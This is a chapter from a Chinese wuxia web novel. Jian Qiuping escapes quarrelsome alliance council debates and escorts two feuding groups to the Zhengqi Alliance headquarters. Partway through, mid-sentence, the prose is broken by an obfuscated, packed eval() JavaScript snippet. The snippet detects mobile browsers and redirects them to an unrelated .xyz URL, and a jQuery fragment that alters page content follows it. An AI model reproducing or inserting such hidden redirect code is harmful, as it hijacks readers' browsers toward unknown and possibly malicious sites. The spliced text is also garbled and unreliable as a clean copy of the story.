自从来到浦南之后,简秋平就没出过门。
先是于老被旧友叫走,所以安置碧霞帮一众弟子、还有去同各派打招呼、联络感情的事就落到了他肩上,好不容易都处理好了,又被正气盟以碧霞帮帮主交接后一直没派人过来的理由拉去做苦力。
这几日里,他每天起床后就被叫到议事堂,更深露重了才被放回去。各派代表讨论事情时,还要他代表碧霞帮发表一下意见。
他能有什么意见?
他在宗门就是个镶边的啊!根本做不了决定,发言仅供参考啊!
简秋平叫苦不迭,又不能装哑巴,只好东扯西扯、搪塞过去,实在搪塞不了就表示一定会将对方意见转告给碧霞帮的掌门长老们,等他们回信了第一时间告知对方。
至于其他的?
抱歉,实在做不了主。
再装得自责愧疚,追忆一下逝去的师父,别人大多也不好再说什么了。
发现这点后,凡是有人要和他说话,简秋平就只管眉头一皱,嘴一撇,一脸苦瓜地开口:“我没用啊,若是师父还在……”
众人无奈,可又不好说什么。
毕竟人师父真的没了,再聊下去就该安慰了。
之前也不是没有安慰过,结果就是简秋平连连叹气,问什么都不说,最后只能请碧霞帮其他弟子过来把他带回去。
一连三天,两边都不怎么自在。
其他各派代表已经开始考虑碧霞帮来的弟子中还有没有靠谱的,简秋平则是发展到了一进议事堂就开始叹气。
今日依旧是在议事堂,讨论的是关于惊雷派余孽、和琴魔的事。
惊雷派余孽都已伏诛,商议的就是遭受惊雷派迫害的各世家与小门派如何安置,其中有些还留有血脉弟子,那些人应该如何补偿?是赠物派人帮忙组建,还是哪派出面收下他们?
若是碰上这两种方法都不愿意的,那怎么办?
还有一些一门上下连个活物都没留下的,是不是应该请人来超度?是找佛门的人还是道门的人?是一起弄了?还是各弄各的?
哦,这家和道门有嫌隙,那家看不惯秃驴……
那就各家办各家的吧。
超度的银子就用正气盟里的吗?
什么?你家师父说要包了?什么?你家掌门也说要出?
哎呀!不要吵了,商量一下一起出嘛。
什么?都不愿意。
不是,怎么就到要打一架了!不要动手,不要动手!有什么事情好好坐下来谈嘛。
不是,你怎么又冒出来?你家师父说了必须用正气盟的银子,不然其他家没出银子的就没颜面了?
穷酸户!
你什么意思!有本事你家给天下人一人发一两。
哎呀,不要打了!
……
讨论了一早上关于安置的问题,总算勉强达成初步一致。
到了琴魔时,又是争得面红耳赤。
与惊雷派余孽不同,琴魔是清音门自行处置的,说是已经杀了,但事先并无提前告知正气盟,此事不合规。
于是,众人就要不要验证事情真伪,还有清音门行事不合规是不是应该有什么处罚吵得难分难解。
更别说这里还有清音门的代表弟子。
两边谁也不肯让步,还有一边在和稀泥,突然有人问了嘴简秋平,然后简秋平又开始追忆师父。
事情争不下来,又有简秋平添乱,恰好此时有人来报街上出事,问怎么处理,众人便默契把简秋平推出去,让他解决。
简秋平兴高采烈地走了,都没想起问一句闹事的是什么人。
在他看来,没有什么能比让他待在议事堂选择派别更艰难了,然后就看见了白榆他们和半夏他们对峙。
简秋平:“……”
早知是他们,我就不来了。
但开弓没有回头箭,众目睽睽之下,简秋平实在做不到转身就走,其实主要是因为他身后站满了人,根本出不去。
他故作镇定走到两边人中间。
跟着他过来的正气盟弟子共十位,分别是六壬宗五人、吹雪派四人,还有一位姑且能算是飞星派的人。
为了避免徇私枉法,处理矛盾纠纷时派来的正气盟人不会有本派的人,也不会有带队人的同门。
正气盟的人都是认识方柯林的,来之前心里都已经给事情定性了,极有可能是对面咄咄逼人。
可到了现场后,见他带着一群同门,对面还被逼到了角落,又有围观群众们的添油加醋,众人心里有些动摇。
方柯林往日名声很好,也从没听说过以权逼人的事,可事实就摆在眼前,怎么看方柯林这边也不可能完全无辜。
飞星派的那名弟子认出了盛元冉,她满脸惊诧:“元冉,你怎么在这?你师父师兄呢?”
盛元冉闻声看去,她没想到会在这里见到叶晴。
叶晴是她大师兄的未婚妻,二人本该在几年前就完婚,但婚期前一月叶晴师父辞世,她就守了几年的孝。
飞星派掌门与叶晴师父关系极好,便力邀她住了下来,而且叶晴从小时候起就常随师父到飞星派小住,师门上下早将她看作自己人,师门长辈们也不放心让她一个人独居守孝。
不过叶姐姐怎么会在这?盛元冉心中困惑。
她记得她去年离开师门时,叶姐姐还在师门内住着。
盛元冉在这边小声和白榆他们介绍叶晴。
叶晴也已经讲明了其中有位是飞星派弟子的事,她将正气盟的牌子收起来,再和简秋平打过招呼后,光明正大地走到盛元冉他们那边。
“叶姑娘。”众人与她问好。
叶晴一一回过,又在盛元冉介绍下将名字与脸对上。
盛元冉大师兄在看望过盛元冉后曾给她说过他们,后来盛元冉的几封书信中也提到过她这些朋友,所以对于白榆等人,叶晴并不陌生。
这边气氛融洽,简秋平那里却是进退两难,其他正气盟弟子都在眼巴巴等他的决定。
“咳咳。”他清了清嗓子,道,“都带回去。”
好在没费什么工夫就顺利地都把人带走了,留下几个在原地了解情况,一行人往正气盟宅院去。
一路上,白榆等人受到不少注目礼,许是担心他们逃了,正气盟的弟子一直紧紧守在他们附近,后面的半夏他们却是没几个人,就只有一个简秋平和尾巴处的一个。
“有种熟悉的感觉。”薛明辉一边走,一边东张西望。
白榆深有同感,道:“有没有觉得很像游街,就那种犯人行刑前,从牢里走到法场那一段路,也是有很多人在围观。”
薛明辉大惊失色:“他们要对我们动手?”
他声音不低,旁边的正气盟弟子闻言低头,满脸羞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095054|172373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愧。
他也觉得奇怪啊,明明在回春堂就能问情解决的事,大费周章跑一趟正气盟干什么?
到了正气盟后,方师兄的师父是盟主,看在盟主的面上,如果是方师兄他们有问题,那肯定就大事化小,小事化了。
叶晴忙道:“别担心,今日事情闹得大了,会是各派代表一同审议此事,而且还有元冉她大师兄在,你们不会有事的。”
飞星派在正气盟的代表,正是盛元冉的大师兄——乔春开。
*
正气盟那边早就得到简秋平的消息,他自称两边都与他有故,不好决断,只能把人都带回来。
六壬宗掌门首徒周泽方和乔春开在门口等人,他们都知道此事有关太乙宗。
周泽方道:“我看秋平这小子就是怕事,不想得罪太乙宗的人。”
周泽方与简秋平师兄季立新交好,对于简秋平的性子也是知道一二。
乔春开笑笑,道:“他是慎重,担心做错,周兄就多担待些。”
周泽方摇了摇头,说:“你也是好脾气,对谁都宽容。”
二人又聊了几句闲话,就见浩浩荡荡一群人回来了。
周泽方道:“你在这等着,不要过去,我去吓一吓秋平。”
周泽方大跨步掠过前面那堆人,到了简秋平面前,冷着脸,厉声道:“秋平,不是让你做青天?你怎么倒把人都带回来给我们了。”
简秋平仿佛见到了救星一般,扭头对半夏道:“你和他们辩清白去吧,这事不归我管,我最多只能在旁当个看客。”
说完,他扔下众人率先跑进去,留下一句:“周大哥,都交给你了。”
“回来!”周泽方朝他背影吼道,才看见方柯林和半夏。
原来是他那些个义弟义妹,怪不得溜那么快。
那前面又是什么人?
和方柯林等人打过招呼后,他又快步往前走,就见乔春开语气熟稔地在和他们说话。
“这位是我师妹,那些是她朋友。”在周泽方开口前,乔春开解释了。
周泽方点头,又在那群人中发现了一张熟面孔。
“你怎么也在这?”他看着易晓。
这事不会是百晓生做的吧!他图什么?
易晓扯出抹敷衍的笑,暗暗看了眼白榆。
方才他都找到机会溜出去了,结果就被白榆叫住,被带到了队列中来。
白榆只作不知,诧异道:“易公子,此处竟有你的故人?”
易晓“呵呵”一笑,道:“白姑娘过谦了,在下的故人可比不了姑娘。”
“什么情况?”周泽方低声问乔春开。
谁认识的人能比百晓生还要多?
乔春开思虑一瞬,想起盛元冉说过的话,道:“这位白姑娘早年走南闯北,估计是因此和易公子结识。”
作为各派年青一辈的中坚人物,他们都与百晓生打过不少交道,自然是识得他的真容,当然,简秋平这种临时顶上来的不在其列。
进门后,乔春开又想起一事:“此事与我师妹有关,我不好出面,还得多劳累你们。”
“你要是不管,就不怕他们打起来?”周泽方忧心忡忡道。
各派代表中属乔春开脾气最好,好几次都是他把两边争论不休的人劝下来,众人也都愿意卖他个面子,如果他不在,那这场官司估计得在演武场上开了。